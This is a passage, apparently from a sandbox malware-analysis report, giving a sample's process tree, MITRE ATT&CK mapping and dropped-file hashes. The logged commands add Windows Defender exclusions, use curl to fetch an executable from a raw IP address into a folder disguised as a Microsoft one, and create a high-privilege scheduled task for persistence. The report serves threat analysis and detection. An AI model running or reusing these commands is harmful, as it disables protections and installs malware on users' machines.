    3⤵
    PID:4136
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncBootEarly" /F
    3⤵
    PID:1236
- - C:\Windows\system32\reg.exe
    "reg.exe" delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DeviceSync /f
    3⤵
    - Modifies registry key
    PID:3756
- - C:\Windows\system32\reg.exe
    "reg.exe" delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SyncHost /f
    3⤵
    - Modifies registry key
    PID:4432
- - C:\Windows\system32\reg.exe
    "reg.exe" delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MicrosoftDeviceSync /f
    3⤵
    - Modifies registry key
    PID:1476
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData\Microsoft\DeviceSync\Cache\ /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:1928
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData\Microsoft\DeviceSync\Cache\ /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:5472
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v DeviceSyncHost.exe /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:480
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v DeviceSyncHost.exe /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:6004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\DeviceSync\Cache\' -ExclusionPath 'C:\ProgramData\Microsoft\DeviceSync\Cache\' -ExclusionProcess 'DeviceSyncHost.exe' -ExclusionProcess 'DeviceSyncHost.exe' -Force -EA 0; Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{ExclusionPath=@('C:\ProgramData\Microsoft\DeviceSync\Cache\','C:\ProgramData\Microsoft\DeviceSync\Cache\'); ExclusionProcess=@('DeviceSyncHost.exe','DeviceSyncHost.exe')} -EA 0 | Out-Null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4756
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v RuntimeHost.exe /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:6112
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData\Microsoft\DeviceSync\Cache\ /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:2260
- - C:\Windows\system32\reg.exe
    "reg.exe" import C:\Users\Admin\AppData\Local\Temp\ma_uac_policy.reg /reg:64
    3⤵
    PID:4572
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncHost" /F
    3⤵
    PID:5796
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncMaintenance" /F
    3⤵
    PID:5988
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncLogon" /F
    3⤵
    PID:1236
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncWorker" /F
    3⤵
    PID:4432
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncBoot" /F
    3⤵
    PID:4248
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncBootEarly" /F
    3⤵
    PID:3260
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncSystemOnce" /F
    3⤵
    PID:4732
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncHost" /F
    3⤵
    PID:4656
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncMaintenance" /F
    3⤵
    PID:1592
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncBoot" /F
    3⤵
    PID:4284
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncBootEarly" /F
    3⤵
    PID:6100
- - C:\Windows\system32\reg.exe
    "reg.exe" delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DeviceSync /f
    3⤵
    - Modifies registry key
    PID:2692
- - C:\Windows\system32\reg.exe
    "reg.exe" delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SyncHost /f
    3⤵
    - Modifies registry key
    PID:1064
- - C:\Windows\system32\reg.exe
    "reg.exe" delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MicrosoftDeviceSync /f
    3⤵
    - Modifies registry key
    PID:2548
- - C:\Windows\system32\curl.exe
    "curl.exe" -fsSL --max-time 120 -w http_code=%{http_code} -o C:\ProgramData\Microsoft\DeviceSync\Cache\RuntimeHost.exe http://145.63.131.161:8090/api/build/drop/fddc2a8d-106a-465e-b465-5d71622fb4b6.exe?t=6dfae62e123130b9151efb640cb7427c
    3⤵
    PID:4572
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData\Microsoft\DeviceSync\Cache\ /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:1840
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData\Microsoft\DeviceSync\Cache\ /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:5956
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v DeviceSyncHost.exe /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:3348
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v DeviceSyncHost.exe /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:3404
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v RuntimeHost.exe /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:4576
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData\Microsoft\DeviceSync\Cache\ /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\DeviceSync\Cache\' -ExclusionPath 'C:\ProgramData\Microsoft\DeviceSync\Cache\' -ExclusionProcess 'DeviceSyncHost.exe' -ExclusionProcess 'DeviceSyncHost.exe' -Force -EA 0; Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{ExclusionPath=@('C:\ProgramData\Microsoft\DeviceSync\Cache\','C:\ProgramData\Microsoft\DeviceSync\Cache\'); ExclusionProcess=@('DeviceSyncHost.exe','DeviceSyncHost.exe')} -EA 0 | Out-Null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6112
- - C:\ProgramData\Microsoft\DeviceSync\Cache\RuntimeHost.exe
    "C:\ProgramData\Microsoft\DeviceSync\Cache\RuntimeHost.exe"
    3⤵
    PID:2152
  - - C:\Windows\system32\schtasks.exe
      "schtasks.exe" /Query /TN "\Microsoft\Windows\Device Sync\SyncAgent" /FO LIST
      4⤵
      PID:4000
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Query /TN "\Microsoft\Windows\Device Sync\SyncAgent" /FO LIST
    3⤵
    PID:5772
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Create /TN "\Microsoft\Windows\Device Sync\SyncAgent" /TR \"C:\ProgramData\Microsoft\DeviceSync\Cache\RuntimeHost.exe\" /SC ONLOGON /DELAY 0000:30 /RU BPDBRJCT\Admin /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5328
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData\Microsoft\DeviceSync\Cache\ /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:5264
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData\Microsoft\DeviceSync\Cache\ /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:5688
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v DeviceSyncHost.exe /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:1592
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v DeviceSyncHost.exe /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:4656
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v RuntimeHost.exe /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:4868
- - C:\Windows\system32\reg.exe
    "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData\Microsoft\DeviceSync\Cache\ /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:4284
- - C:\Windows\system32\reg.exe
    "reg.exe" query "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Features" /v TamperProtection /reg:64
    3⤵
    PID:1476
- - C:\Windows\system32\reg.exe
    "reg.exe" query "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /reg:64
    3⤵
    PID:244
- - C:\Windows\system32\reg.exe
    "reg.exe" query "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /reg:64
    3⤵
    PID:2260
- - C:\Windows\system32\sc.exe
    "sc.exe" query WinDefend
    3⤵
    - Launches sc.exe
    PID:4416
- - C:\Windows\system32\sc.exe
    "sc.exe" query SecurityHealthService
    3⤵
    - Launches sc.exe
    PID:2404
- - C:\Windows\system32\reg.exe
    "reg.exe" query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /reg:64
    3⤵
    - Modifies registry key
    PID:5988
- C:\Windows\system32\cmd.exe
  "cmd" /c start "" C:\Windows\System32\msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\setup.msi
  2⤵
  - Executes a command shell one-liner
  PID:2564
- - C:\Windows\System32\msiexec.exe
    C:\Windows\System32\msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\setup.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:5964

C:\ProgramData\Microsoft\DeviceSync\Cache\RuntimeHost.exe
"C:\ProgramData\Microsoft\DeviceSync\Cache\RuntimeHost.exe"
1⤵
PID:480

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

DeviceSyncHost.exe

Path C:\ProgramData\Microsoft\DeviceSync\Cache\DeviceSyncHost.exe
Size 593KB
SHA256 b2a1410e0b65e3790ccf92fec9c6d93183c877bf56d9a3b448166cf367584d7a
MD5 e12d2f5433a8e13f0911f30edbfaf8cc
SHA1 bcd7b28056da44113f862ab8971bc0b58ad0e865
SHA512 fb0b807df8e85f00390421a25930287c7ffda6e2e657766591abece9f22c05fc78b98e88edbaa11c72dab8ef37c65a0e9ff9f4e001fa116c0054a254b412c11b
SSDEEP 12288:UNfhmncd3kZWBRYy4Jc56Jpe0BS09yLFq9iBw:ULhh52Jc09yLFqf
TLSH
T173D43A1BB29254FDC55AC074839B9272B633B84A0330AE7F13E5CB302E65DA45F5DB28
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RuntimeHost.exe

Path C:\ProgramData\Microsoft\DeviceSync\Cache\RuntimeHost.exe
Size 3.9MB
SHA256 5e8064f558c1d23fef841ffe81dfa2adcd7c59637487a44a4708be2ee2fb04cd
MD5 909818dd595a86926999db7e7c53d65d
SHA1 30ae9be6aa654b082a6f58168c42a0c5ea7c8dc3
SHA512 3f27c458a7726ce06ab0f4e1c0f0846764ef30e98fac50024d69c560a6d2483a78b6b347da6203026d8ae204171621fa8efb217cc77168aba141fff1749e3c72
SSDEEP 49152:we3hdUjxrUtG8tr+9WV1XylVZ0+NHfbohF7H0wpQoqw9C2IDo41CxHOK3t/YtLsu:6wGWr+9WV1XKf2Udh8jtxu
TLSH
T1DC164C03FA9191E9C0AEC174836BA733FA32F8894521B65F1B94CB212F65F605F4E758
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RuntimeHost.exe

Path C:\ProgramData\Microsoft\DeviceSync\Cache\RuntimeHost.exe
Size 3.9MB
SHA256 8065b1827b2a4d08fc773f081feb25840c445d9af5a302e4477bf661b87b3aca
MD5 bf86e68880fcd283f0c8599d0b2da338
SHA1 848a0ae9a39d8c12ac43298a946c9ca56b9fd855
SHA512 ec5f42e2ef14e3716cb30358d738a2bb02f8004627eea5b89fe717344791368d8f38572ad166bd6d4ad34def6d1623f9bb9548bebd8b2535b91f7608fd49d29c
SSDEEP 98304:e4mVwRe7pFPHTZMx/bBnTKFzyDkfn8mW5bxH20U9HMqJ:e4mVZFP1UczQkfn8PhxWd9HMe
TLSH
T1F81633D43BDB5464986DBB1DE2F0EE878C6344B0B899A86532BF0DC84B67E26017D50F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

agent_drop.conf

Path C:\ProgramData\Microsoft\DeviceSync\Cache\agent_drop.conf
Size 164B
SHA256 c2c75a67e515ab65849d6c4971dc4fb814db6f65ff50acff34da23a978234ce6
MD5 c99ed39d9edeb81f42e687ad84964089
SHA1 108839325d1b9ceb18825b2810f42aef07b588d1
SHA512 52d416a43cb14667d13e1519ebfdec6f00e55fc2830a20b2eb920164bb6848274b7a12c6748fdbc8da41656d1de06a7a01dc47bec03c184884df98306cdd0358
TLSH
T14AC08C28813974098A035669ACE74D6EE62305F9CCE0BA5DE5B297140418D469B01B2E
MD5 SHA1 SHA512 TLSH

Submit Download

bootstrap_core.hcr

Path C:\ProgramData\Microsoft\DeviceSync\Cache\bootstrap_core.hcr
Size 593KB
SHA256 92d510074693c97f4e8b199d6dd2f70b12028cfd79a8a53f6074ac3d5ece8288
MD5 f85ac02d16c27e4b675c0b3072acef7e
SHA1 c314914691570955607d5fa63725997b83507f27
SHA512 dc2c41f02eb13cb23231601890b5bd4c93877279b4b2b6fc8a80ff6970cf52f6d999972f68bb71144a7894b4702d0490effd9a36da10a5fea2daeb47f3053688
SSDEEP 12288:Uz7AP0RIa2BsuSLu0izQjUIYJ77NsShOQhh/abtQp3u5PQ8UPZIkFNTD:UzUMRIaG5qeQAI8FJhLh/abmp30P6qAD
TLSH
T176D42300C16D1B7EABB474D31907B6C62D85B3E2C2D0D184E7AE2A77990B58CD96F4CC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

device_sync.log

Path C:\ProgramData\Microsoft\DeviceSync\Cache\device_sync.log
Size 833B
SHA256 78aed6164ff84060f4ba4e748d5232f06af2568e8849fafdb04ce9ae953f335e
MD5 c2c936d40d9222cba0fe7944744bfac7
SHA1 111c72341c933446370d9e362770a9dc68e3611b
SHA512 83775ce45035ad134c381b50f9f5a81160eb06d95afffa21086eeb1b2c2100b4c7e406f21e2a45541689a472ac12aa2a893c45140b911e07aa7c3f99eb74e1a8
TLSH
T129018E7806B2D2138F2661435A5C0AB9D393122354FC7639ECBD2607601CCDD7FEB042
MD5 SHA1 SHA512 TLSH

Submit Download

device_sync.log

Path C:\ProgramData\Microsoft\DeviceSync\Cache\device_sync.log
Size 2KB
SHA256 c84fea541caf79ae6a4596ed1079324ec57ed65f8b3d690c213446affbc249b7
MD5 ffe9dd896f631d966b01f4f80e914279
SHA1 af3da330fc725ec0fadaa56cf0589bc9d83a3b81
SHA512 02a148f183a41e5f376dddc417a64266d496edde71c804f13ea1b07b69534afcf52c5bce1f4f2faa4d3c5a446eb3423ac3973ae69b88712a41a3847342a7d400
TLSH
T14E4132B84FA2D2118F726183960D4AB0B3E3411246FD3D7AF97D2207801D9CEA5FB272
MD5 SHA1 SHA512 TLSH

Submit Download

device_sync.log

Path C:\ProgramData\Microsoft\DeviceSync\Cache\device_sync.log
Size 2KB
SHA256 6056b06f9a117b8e7afd716f6bf472b6df3af2e677abdc76f5b87bc1efb161ee
MD5 98dd56fb24086b2f216325a65bfeebdc
SHA1 b71a4190739750ea036808fc1371479d0ebcf60d
SHA512 83b24d2060d323f1bd24f1aa9c877800a82e3304b700e82cdf557d8da43cb4af41cefe04e9243bc4ea77abcb25f59a7c93febadf886fa6ce4f44cdc70dfc2b64
TLSH
T1035100B85FA6D210CF721183964D4AB4B7D3412146FD3DAAF97E230A40289CEE5FB172
MD5 SHA1 SHA512 TLSH

Submit Download

device_sync.log

Path C:\ProgramData\Microsoft\DeviceSync\Cache\device_sync.log
Size 2KB
SHA256 d7a65f7904188ca0c7d084a33d41457b2484bf05dfc69cf2e6b8d65ecb384173
MD5 66c98c33f7e4d9352eb3f0a9bca7aaa9
SHA1 55fd15b510d3dbad89d74eab28ac343c5f4ee848
SHA512 092b4803f48cd2ff3f31606bf9222e7f6ba85cc65e5b32967c0109d203f37f69beab4237c26bd51ea511d26c35cf675125674e3a7061caa30c57b125526f5d63
TLSH
T1345111B44FA2D210CF721183964D4AB0B7D3402146FD3DAAF97E230A41289CEE5FB172
MD5 SHA1 SHA512 TLSH

Submit Download

4024f98c-7694-4015-83ea-24cd9ef19d61.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\4024f98c-7694-4015-83ea-24cd9ef19d61.tmp
Size 11KB
SHA256 b4917716a219ec27ffa898ee82155f74b2fc0ee5e92847cad8d1f3cff25c201b
MD5 47ed766894fa732d99c83e09b01bec32
SHA1 fa7bae30668309fcca358f10263c3c0ebb046289
SHA512 b72b3d58307b74c2533c54170e1e7ceadb59b9ec17ff333952de130a0a5ac27101cccd9c2c5e318b4b52f0fa6a3310c0891adb8cfcab92bba6adc99115f989de
SSDEEP 192:7R8qTFMrvv7ALvAPRp29z9BHsb+WNnUV6992FYe/Lj3FHVyIsnAUge:7R8qpMrn46XgDwOW2v33ne
TLSH
T14132952EEE24793B5CDBC22AE9367B97E7F5002261901E84EAFC892D15E75CC2217417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 120B
SHA256 20819c2123573bc6877fcea953a523a8e3db40c218115f5e4e62429eddf03dc8
MD5 0238dffc62fa582aa553adfc17094802
SHA1 85b4d822236e6bdb362806d294c3479332b91c7a
SHA512 12397c5793868fd474237dce22f9ef9731cd1545de49529a39d4b14452f7cbe68ba3e61bac116304a30c74b2f2d2e637446e779765f2daee136a3724146b129f
TLSH
T184B012C121E0410AEFB42AB129D08D83AE154F9C550223B3E98140C08C023D25F46583
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

f30bd05f-1a7d-48dc-ac77-7d4610af6ab8.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\f30bd05f-1a7d-48dc-ac77-7d4610af6ab8.tmp
Size 3KB
SHA256 20444618495ec17dc1a0376a418ba9f729d921a4044d862d1e6d0a0164d66ddb
MD5 37756c9c81c66e4aec8b551acfa8823b
SHA1 ddcc2331b23a0e00e229705613093b43ce383d16
SHA512 4b4ef769d56d0f43e195427e307746965a1e7799fce3cae83972a25e38d101d16c51fea59ea7406646abe9a6e5107775a76e956fb8e4ebf17b24122a28a75f6e
TLSH
T152719BB7C3D88A2EC91156F4AB156E1BCE2D0928522D3C16C8E99F5B63E28B1D21064F
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 69fa7a81fd5603930519fa62561a8991b6cad58e380197e679ad9a9874ca9420
MD5 7887e6f6c60c79919b44fdd0d273416f
SHA1 7599a2b16f4c8021e4d98f95bdcfb49199189b5e
SHA512 f9afe422fdf835ff07e522d8485cf6a619e15895541353d8a75200040d88bd4343ba01897053db8127186ecc46a084e373fd105d2e5038127e061db2a40ab08c
SSDEEP 192:7R8qTFMrvv7ALvVPRpB9z9BHsb+WNnUV66EGYet8Ye/Lj3F9VyIsnAUgE:7R8qpMrn4FXzDwOrVYetq33BE
TLSH
T1B742B62EEE24793B5CDBC22AF9267B57E6F9102261901E84E6FC892E15E75CC2217017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 11KB
SHA256 c0aeb1752aa0a030669b4d0019a8bc9a3bc19bd84f623de3ab6fe2cd01938575
MD5 2d8c8e4fcf012ebb46f7d6f5fdd11fbb
SHA1 013fd6fdc494fb55a6fcf3fc5527e54497f83b47
SHA512 cef3944977bb8f7d662ace8882bbee70b3884ba877de963c5b16eb0ff489fc001f639d669cf17add4fb6ca2b3aa498bd0539d47b81d20b8563cdb7ff7749ad96
SSDEEP 192:e+R4K6v77KxkXqK4I40pUZNCgVLHrKHfFKslEUWgXzKD/Y3+ErUkKN9mZVaC66/G:XRjg77KxkXqKf/pUZNCgVLH2Hfgslwga
TLSH
T1A132E927A48D9A7F0FD8D509CC576F8FACB5029272780D2456FB9C0803A578E124B6FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 9641f2bcdb5bf2e8419b2080e32e8adc1883eb22c9e5de3e564ed1ac19bbe1cc
MD5 3991a3ee38552731a75eb1b1420c8d55
SHA1 b5901caf4cd6f96bbb53e6ce303086c5fed3bd04
SHA512 fe8e85f7ce39444e58d1debc11b20a45d0daa0ef9da8def552b4ea542aa0959c04175a1103e92c0dd3d7c88fa0428972bbc42736b32d3b06fd0c8113f9ae575e
SSDEEP 96:u1bJ0d+qs7PiY+3oDfAIVAMBSl8h4otop5XdMYDXB64Gyvzec4y1LWhRNC39ISyU:u1t0t+W1IVRiU2X5RcLc4y1LWhuC8jZ
TLSH
T15EC1F875A46E5CBB09F6A985B1032D43D9B9526B68557E58EEEE1F0900EB4DC0383233
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 78628584229cb2ed00f98291249a73f0459f9f20e4eeada2fc67986597bac668
MD5 aa39af2e4e8af7a4cc8f8e4b067a6af1
SHA1 8d9b77d198b27e68bf193024bff8e2bb93581ea6
SHA512 0b74a9727372ee3570f6aa02562a6828e14dc552e141f34f17c72c10917c4988af2d09cc795068dad1e5ea855dda7989eb4478fb95eecaf243d8b32cab137fcc
SSDEEP 96:uFC0d+qs7PiY+3oDfAI0jMrRDotok5XdMgNDXB6ndGyvze9aWjbfEv4a:uFC0t+W1I04DUDXTR4wL9aWjbu
TLSH
T142A12A31E52E4CBB54FAD949B1533A43DF79A26BA4215F84D9ED6B0D04FB0EC0782123
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 b3249150730738e30ccd6bdfd8589c4c94e31d3b2856fc7f042384995bf4364c
MD5 cd410109fc50ce05028b5b292e06746f
SHA1 751efdebc33c63fc964b2d6024e605fd55d73533
SHA512 e37f2fa0bebfb41878b4ef3c2477be0608ddb67a7014fafc2b70995d2da7a241794782ffe35aa9e95a39c478135e9b453431b24ebb59390dc752f6a706e9b002
SSDEEP 96:u1bJ0d+qs7PiY+3oDfAIVAMBSl8h4otop5XdMYDXB64GyvzecdtvO0A0wWjHLWWN:u1t0t+W1IVRiU2X5RcLcdtaWjHLWWU2
TLSH
T19DC12A75A47D6C7754FAE956B1032A43CEB5526FA8526E50DAF95F0C00EB0EC1382233
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 93ee522220d8ee282030f737392c8a5fdd3e161f3b14092b6fb3b7f2aff91ce0
MD5 93468bc15db3348fdbdf6c8d95eb4867
SHA1 8577bf30712e02efb20df94a49e5f5ec51a88ffa
SHA512 d298f588f44ec8cf0316821c85cf153e49240cef76cd8c8d6c3b84367ed4c003b2d9da9218031627986a0167f737ad262fd98a947e1563e61487b9dd3822166f
SSDEEP 96:u1C0d+qs7PiY+3oDfAIVAMBSl8h4otop5XdMYDXB64GyvzecdtvO0A0wWjHLWW0w:u1C0t+W1IVRiU2X5RcLcdtaWjHLWWU2
TLSH
T13FC12B75A47D6CB754F6E956B1032A43CEB552ABA8526F54DAFA5F0C00EB0EC1383233
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 064f089fa862b42d714c5ca89124e514be6e976e6bde3f2c5a8884fc4c6fe278
MD5 7aedb7cc853fbe331c1e534b2dafd6d0
SHA1 ed17c6874236fcfa90fae29d0d492607eb971908
SHA512 b7104ce02a9211ab7ef32fae6747e8fc7a7f33085b0ab0dc8b1f58fd8f1397396b98c67b7c3fda66331cc161a884788ba48dca4bfee5a87c6f03d9b1978a00d1
TLSH
T124219A33B3DC8215CC99413A10CDAC1032BAC3CB409ECF9B6B84D255A82F6A9DE61150
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4330ab489a248e4068e837e11bd059eabeecb4f10d0d8b36743b5100ab9ae387
MD5 f840aa10c237046bb746f78d098ee93f
SHA1 acee4aab588e452ce64174afdaa525bb2fabafda
